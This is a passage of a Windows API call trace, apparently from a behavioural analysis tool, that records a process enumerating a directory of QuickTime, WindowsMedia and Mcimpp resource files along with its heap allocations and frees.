lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NLD", cAlternateFileName="")) returned 1 [0083.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216240 [0083.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12acf78 [0083.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.474] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NOR", cAlternateFileName="")) returned 1 [0083.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216260 [0083.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ad080 [0083.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.476] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.PTB", cAlternateFileName="")) returned 1 [0083.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216280 [0083.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ad188 [0083.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.478] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SUO", cAlternateFileName="")) returned 1 [0083.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12162a0 [0083.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ad290 [0083.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SVE", cAlternateFileName="")) returned 1 [0083.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12162c0 [0083.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ad398 [0083.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CAT", cAlternateFileName="")) returned 1 [0083.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12162e0 [0083.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ad4a0 [0083.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.514] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHS", cAlternateFileName="")) returned 1 [0083.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHT", cAlternateFileName="")) returned 1 [0083.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DAN", cAlternateFileName="")) returned 1 [0083.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DEU", cAlternateFileName="")) returned 1 [0083.523] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ESP", cAlternateFileName="")) returned 1 [0083.523] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.EUQ", cAlternateFileName="")) returned 1 [0083.523] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.FRA", cAlternateFileName="")) returned 1 [0083.524] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ITA", cAlternateFileName="")) returned 1 [0083.524] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.JPN", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.KOR", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NLD", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NOR", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.PTB", cAlternateFileName="")) returned 1 [0083.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SUO", cAlternateFileName="")) returned 1 [0083.526] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SVE", cAlternateFileName="")) returned 1 [0083.526] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CAT", cAlternateFileName="")) returned 1 [0083.526] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHS", cAlternateFileName="")) returned 1 [0083.526] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHT", cAlternateFileName="")) returned 1 [0083.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DAN", cAlternateFileName="")) returned 1 [0083.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DEU", cAlternateFileName="")) returned 1 [0083.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ESP", cAlternateFileName="")) returned 1 [0083.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.EUQ", cAlternateFileName="")) returned 1 [0083.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.FRA", cAlternateFileName="")) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ITA", cAlternateFileName="")) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.JPN", cAlternateFileName="")) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.KOR", cAlternateFileName="")) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NLD", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NOR", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.PTB", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SUO", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, 